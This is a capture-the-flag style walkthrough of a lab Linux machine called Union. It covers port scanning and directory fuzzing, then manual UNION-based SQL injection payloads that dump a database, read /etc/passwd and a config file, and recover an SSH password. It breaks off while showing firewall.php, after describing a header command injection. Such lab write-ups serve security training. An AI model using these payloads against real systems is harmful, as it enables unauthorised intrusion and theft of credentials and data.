Difficulty: Medium

Tags: Linux, Webserver, SQL, SQLi, Command Injection

Description: Union is an medium difficulty linux machine featuring a web application that is vulnerable to SQL Injection. There are filters in place which prevent SQLMap from dumping the database. Users are intended to manually craft union statements to extract information from the database and website source code. The database contains a flag that can be used to authenticate against the machine and upon authentication the webserver runs an iptables command to enable port 22. The credentials for SSH are in the PHP Configuration file used to authenticate against MySQL. Once on the machine, users can examine the source code of the web application and find out by setting the X-FORWARDED-FOR header, they can perform command injection on the system command used by the webserver to whitelist IP Addresses.

Summary

Although security filters are in place to block automated tools like SQLMap, the application hosted on this device is susceptible to manually crafted UNION-based SQLi payloads. By exploiting this flaw, an attacker can extract data from the backend database, including a flag that grants firewall access and utilise the load_file function to retrieve a configuration file containing cleartext SSH credentials.

After gaining an initial foothold as the uhc user, a review of the web application’s source code reveals a command injection vulnerability within the X-FORWARDED-FOR HTTP header. This is leveraged to obtain a reverse shell as the www-data user, who is found to have full sudo privileges, leading to complete system compromise.

Walkthrough

1. Enumeration

1.1. Port Scans

The assessment started with an Nmap scan of all ports on the target host. The result revealed that the host was a Linux webserver, with only a singular open port - port 80 - which Nmap reported as an nginx web server.

Command
sudo nmap -sV -p- --open -T4 10.10.11.128 -Pn
Full Command & Output
~/union [10.10.14.59]
> sudo nmap -sV -p- --open -T4 10.10.11.128 -Pn
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-02 14:36 +0000
Nmap scan report for 10.10.11.128
Host is up (0.031s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.66 seconds

After all open ports on the target were discovered a more targeted scan of port 80 was conducted. This revealed more detailed information about the host.

Command
sudo nmap -p 80 10.10.11.128 -A  
Full Command & Output
~/union [10.10.14.59]
> sudo nmap -p 80 10.10.11.128 -A              
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-02 14:38 +0000
Nmap scan report for 10.10.11.128
Host is up (0.030s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   34.10 ms 10.10.14.1
2   34.48 ms 10.10.11.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.68 seconds

This aggressive port scan provided more information about the hosts operating system (OS) version. Though no specific version could be identified.

OS Information Snippet
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%)
No exact OS matches for host (test conditions non-ideal).

1.2. Initial Website Enumeration

As port 80 was the only open port found, the tester continued the assessment by reviewing the URL: http://10.10.11.128/. The image below shows the landing page of the website.

Screenshot of the landing page of the website

Then the tester reviewed the source code of the website as this can provide more detailed information about the technology used.

/index.php Source Code
<link href="css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
  $(function () {

    $('form').on('submit', function (e) {

    e.preventDefault();

      $.ajax({
        type: 'post',
        url: 'index.php',
        data: 'player=' + document.getElementsByName('player')[0].value,
        async: true,
        success: function (data) {
          $('#output').html("");
          $('#output').append(data);
        }
      });

    });

  });
</script>
<!------ Include the above in your HEAD tag ---------->
<div >
    <div class="container">
		<h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>
	</div>
	<section class="bg-dark text-center p-5 mt-4">
		<div class="container p-3">
			<h3 class="text-white">Player Eligibility Check</h3>
			<form action="#" method="Post">
				<input type="text" name="player" placeholder="player">
				<button type="submit" class="btn btn-default">Check<i class="fa fa-envelope"></i></button>
			</form>
			<p class="text-white" id="output"></p>
		</div>
	</section>
</div>

The source code of the landing page reveals that JavaScript is used for the front-end of the site, and PHP for the backend.

1.3. Fuzzing the Website

While conducting manual enumeration techniques, the tester ran the ffuf tool, attempting to find additional web pages and directories.

Directory Fuzzing

Command
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u http://10.10.11.128:80/FUZZ
Full Command & Output
~/union [10.10.14.59]
> ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u http://10.10.11.128:80/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.128:80/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

# directory-list-2.3-medium.txt [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 31ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 33ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
#                       [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
                        [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 39ms]
#                       [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 40ms]
# Copyright 2007 James Fisher [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 40ms]
# on at least 2 different hosts [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
# Priority ordered case-sensitive list, where entries were found [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 44ms]
#                       [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 42ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 43ms]
#                       [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 45ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 45ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 44ms]
css                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 25ms]
                        [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 32ms]
:: Progress: [220559/220559] :: Job [1/1] :: 1020 req/sec :: Duration: [0:03:18] :: Errors: 0 ::

PHP Web Page Fuzzing

Command
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u http://10.10.11.128:80/FUZZ.php
Full Command & Output
~/union [10.10.14.59]
> ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u http://10.10.11.128:80/FUZZ.php

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.128:80/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

# directory-list-2.3-medium.txt [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 37ms]
#                       [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 37ms]
#                       [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
# Copyright 2007 James Fisher [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 42ms]
#                       [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 38ms]
#                       [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 45ms]
# Priority ordered case-sensitive list, where entries were found [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 45ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 45ms]
index                   [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 38ms]
# on at least 2 different hosts [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 45ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 39ms]
firewall                [Status: 200, Size: 13, Words: 2, Lines: 1, Duration: 27ms]
config                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 33ms]
challenge               [Status: 200, Size: 772, Words: 48, Lines: 21, Duration: 42ms]
:: Progress: [220559/220559] :: Job [1/1] :: 1075 req/sec :: Duration: [0:03:25] :: Errors: 0 ::

No directories were discovered from the first scan, however, the second scan found three new web pages:

  • firewall.php
  • config.php
  • challenge.php

1.4. Enumerating the Form

The form found was thought to be a possible attack vector, so a simple submission was made to review what actions the form took.

Screenshot of enumerating the form with the browser console

The form appeared to do a lookup for the entered username, and if not found, a link to http://10.10.11.128/challenge.php is displayed.

1.5. Enumerating the Found Web Pages

When the tester attempted to access http://10.10.11.128/firewall.php the status returned was 200 OK, however, the web page only displays “Access Denied”.

The tester assumed this would mean a need to use anti-application-firewall techniques and be careful with the rate at which web requests were made.

Screenshot of the /firewall.php page

Accessing http://10.10.11.128/challenge.php returns a web page that displays another form, this one requested a “flag”.

Screenshot of the /challenge.php page

The source code of the web page revealed that the form appeared to have no functionality, however, when caught in Burp Suite the below request was found to be submitted.

HTTP Request in Clear Text
POST /challenge.php HTTP/1.1
Host: 10.10.11.128
Content-Length: 9
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://10.10.11.128
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.128/challenge.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=bk1rjaguorod5iepfjm0nqcktn
Connection: keep-alive

flag=flag

No additional information was returned.

1.6. Probing the Forms

Initial observations of the Player Eligibility Check on the landing page and the Flag Submission form discovered at challenge.php suggested these were primary points of interaction with a backend database, making them the primary targets for SQL Injection (SQLi).

Following professional methodology, the tester first attempted to identify vulnerabilities using SQLMap, an automated detection tool. As there is evidence that a Web Application Firewall is in place, and to account for potential basic filtering, the tester utilised the space2comment tamper script and a random user agent to disguise the automated nature of the requests.

SQLMap Scan: Player Form

The first attempt targeted the player parameter on index.php.

Command
sqlmap -r player_req --random-agent --tamper=space2comment --dump
Full Command & Output
~/union [10.10.14.59]                                                                                                                                                                                                                                                                                                        
> sqlmap -r player_req --random-agent --tamper=space2comment --dump                                                                                                                                                                                                                                                          
        ___                                                                                                                                                                                                                                                                                                                  
       __H__                                                                                                                                                                                                                                                                                                                 
 ___ ___[,]_____ ___ ___  {1.9.12#stable}                                                                                                                                                                                                                                                                                    
|_ -| . [(]     | .'| . |                                                                                                                                                                                                                                                                                                    
|___|_  [']_|_|_|__,|  _|                                                                                                                                                                                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                                                                                                 
                                                                                                                                                                                                                                                                                                                             
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program                        
                                                                                                                                                                                                                                                                                                                             
[*] starting @ 16:38:05 /2026-01-02/

[16:38:05] [INFO] parsing HTTP request from 'player_req'
[16:38:05] [INFO] loading tamper module 'space2comment'
[16:38:05] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[16:38:05] [INFO] testing connection to the target URL
[16:38:05] [INFO] testing if the target URL content is stable
[16:38:06] [INFO] target URL content is stable
[16:38:06] [INFO] testing if POST parameter 'player' is dynamic
[16:38:06] [INFO] POST parameter 'player' appears to be dynamic
[16:38:06] [WARNING] heuristic (basic) test shows that POST parameter 'player' might not be injectable
[16:38:06] [INFO] heuristic (XSS) test shows that POST parameter 'player' might be vulnerable to cross-site scripting (XSS) attacks
[16:38:06] [INFO] testing for SQL injection on POST parameter 'player'
[16:38:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:38:06] [WARNING] reflective value(s) found and filtering out
[16:38:07] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[16:38:07] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[16:38:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:38:07] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[16:38:07] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:38:08] [INFO] testing 'Generic inline queries'
[16:38:08] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:38:08] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[16:38:08] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[16:38:08] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[16:38:08] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[16:38:09] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[16:38:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:38:14] [WARNING] POST parameter 'player' does not seem to be injectable
[16:38:14] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests

[*] ending @ 16:38:14 /2026-01-02/

The tool reported that while the parameter appeared dynamic, the heuristic tests failed to confirm an injection point. The scan concluded with a critical warning that no parameters appeared injectable.

SQLMap Conclusion
[16:38:06] [WARNING] heuristic (basic) test shows that POST parameter 'player' might not be injectable
[16:38:14] [CRITICAL] all tested parameters do not appear to be injectable.

SQLMap Scan: Challenge Form

The tester then pivoted to the second potential entry point discovered at challenge.php, targeting the flag parameter.

Command
sqlmap -r challenge_req --random-agent --tamper=space2comment --dump
Full Command & Output
~/union [10.10.14.59]
> sqlmap -r challenge_req --random-agent --tamper=space2comment --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.9.12#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:41:06 /2026-01-02/

[16:41:06] [INFO] parsing HTTP request from 'challenge_req'
[16:41:06] [INFO] loading tamper module 'space2comment'
[16:41:06] [INFO] fetched ┌────────1 (%6)─────────┐ader value 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[16:41:06] [INFO] testing │ Search For User (C-r) │URL
[16:41:06] [INFO] checking│ Type User       (C-y) │ed by some kind of WAF/IPS
[16:41:06] [INFO] testing │ Copy User         (c) │ is stable
[16:41:07] [INFO] target U│ Copy Line         (l) │
[16:41:07] [INFO] testing ├───────────────────────┤is dynamic
[16:41:07] [WARNING] POST │ Horizontal Split  (h) │ appear to be dynamic
[16:41:07] [WARNING] heuri│ Vertical Split    (v) │hat POST parameter 'flag' might not be injectable
[16:41:07] [INFO] testing ├───────────────────────┤ parameter 'flag'
[16:41:07] [INFO] testing │ Swap Up               │- WHERE or HAVING clause'
[16:41:07] [INFO] testing │ Swap Down             │rameter replace (original value)'
[16:41:07] [INFO] testing │ Swap Marked           │ased - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[16:41:07] [INFO] testing ├───────────────────────┤ed - WHERE or HAVING clause'
[16:41:08] [INFO] testing │ Kill              (X) │ase AND error-based - WHERE or HAVING clause (IN)'
[16:41:08] [INFO] testing │ Respawn           (R) │ WHERE or HAVING clause (XMLType)'
[16:41:08] [INFO] testing │ Mark              (m) │
[16:41:08] [INFO] testing │ Zoom                  │ queries (comment)'
[16:41:08] [INFO] testing └───────────────────────┘ase stacked queries (comment)'
[16:41:09] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[16:41:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[16:41:09] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:41:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[16:41:09] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[16:41:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:41:15] [WARNING] POST parameter 'flag' does not seem to be injectable
[16:41:15] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests

[*] ending @ 16:41:15 /2026-01-02/

Nothing useful returned from these results.

1.7. Manual Form Enumeration

While automated scanning was taking place, the tester attempted to manually enumerate the forms by using basic SQL Injection techniques using Burp Suite.

Screenshot of basic SQLi experiment with Burp Suite

Initial attempts were unsuccessful, attempting to escape via quotes or using comments appears unsuccessful.

Screenshot of basic SQLi experiment suing comments with Burp Suite

Despite that sending player' -- - failed, the tester also attempted a UNION based SQLi. As the SQL query now returns data - despite this data not being a username from the database - a different response is returned as if a valid username had been entered.

This response tells us that the servers MySQL version is 8.0.27-0ubuntu0.20.04.1 and that the form is susceptible to UNION based SQL injection techniques.

2. Exploitation

2.1. Initial

Screenshot of successful SQLi using concat

To work around the limitation of there only being a single value returned, the tester needed to use functions such as CONCAT() and GROUP_CONCAT() to concatenate multiple values into a singular column.

The result of this injection tells us the following databases exist:

  • mysql
  • information_schema
  • performance_schema
  • sys
  • november

november is the only non-standard database listed, so the investigation continued in this direction.

Screenshot of successful SQLi schema dump

The tester made the POST request with player set to the below value, this returned specific data relating to the tables within the ’november’ database.

‘player’ value within the POST request:
player' union select group_concat(concat('table: ',table_name, ' - '), concat('cols: ',column_name)) from information_schema.columns where table_schema = 'november' -- -

With this information the tester now knew that there are two tables, the first is called ‘flag’ with a singular column called ‘one’ and the other table is called ‘players’ with a column called ‘player’.

Screenshot of successful SQLi dumping players

The tester then attempt to retrieve all player usernames from the database:

player' union select group_concat(player) from players -- -

This returned the below usernames:

  • ippsec
  • celesian
  • big0us
  • luska
  • tinyboy

Screenshot of successful SQLi dumping flag

Repeating this process with the ‘flag’ table returns: UHC{F1rst_5tep_2_Qualify}.

This flag may be useful for the challenge.php page seen earlier.

Screenshot of /challenge.php after entering flag

Entering the flag found in the database to the form located at http://10.10.11.128/challenge.php redirects us to http://10.10.11.128/firewall.php with the message shown.

The tester then confirmed that port 22 for SSH was open using nmap.

Command
nmap -p 22 10.10.11.128 -A
Full Command & Output
~ 
> nmap -p 22 10.10.11.128 -A
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-05 09:54 EST
Nmap scan report for 10.10.11.128
Host is up (0.019s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   19.12 ms 10.10.14.1
2   17.07 ms 10.10.11.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.04 seconds

The tester then attempted to connect via SSH using one of the found usernames.

SSH Command
~ [10.10.14.59]
> ssh ippsec@10.10.11.128
The authenticity of host '10.10.11.128 (10.10.11.128)' can't be established.
ED25519 key fingerprint is: SHA256:hE6H4DrsHebfs+gclhz9SL77tMpy8aKR3vp8Y0NRDvY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.128' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
ippsec@10.10.11.128's password: 
Permission denied, please try again.
ippsec@10.10.11.128's password: 
Permission denied, please try again.
ippsec@10.10.11.128's password: 

But basic password guessing was not successful.

The tester returned to the SQL injection to attempt to retrieve files from the server.

Screenshot of successful SQLi extracting files from target

This returned the below values:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
htb:x:1000:1000:htb:/home/htb:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
uhc:x:1001:1001:,,,:/home/uhc:/bin/bash

Trial and error quickly allowed the tester to find index.php and get its contents. This confirmed the location of the web content on the server.

Screenshot of successful SQLi extracting files from target

This provides detailed information about how the SQL query is made and what protection against SQLi is currently in place. The main piece of data we retrieve from this response is the existence of a config.php file.

Screenshot of successful SQLi extracting files from target

From the /etc/passwd file found earlier, we know that we may be able to use this ‘uhc’ account and the password uhc-11qual-global-pw via SSH.

SSH Connection
~ [10.10.14.59]
> ssh uhc@10.10.11.128 
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
uhc@10.10.11.128's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


Last login: Mon Nov  8 21:19:42 2021 from 10.10.14.8
uhc@union:~$ 

We successfully gain access via SSH and lets us grab the first flag.

SSH Connection: Printing the user flag
uhc@union:~$ ls
user.txt
uhc@union:~$ cat user.txt
2cc5a23d71c121b545e90b1b40c722c9
uhc@union:~$
SSH Connection: Checking user privileges
uhc@union:/var/www/html$ sudo -l
[sudo] password for uhc: 
Sorry, user uhc may not run sudo on union.

The tester reviewed basic enumeration and what privileges the new user had, but found little that could be of use, so instead went back to the path where the website was hosted and reviewed the final file: firewall.php.

SSH Connection: Printing firewall.php
uhc@union:/var/www/html$ cat firewall.php
<?php
require('config.php');

if (!($_SESSION['Authenticated'])) {
  echo "Access Denied";
  exit;
}

?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->

<div class="container">
                <h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>

        </div>
        <section class="bg-dark text-center p-5 mt-4">
                <div class="container p-5">
<?php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
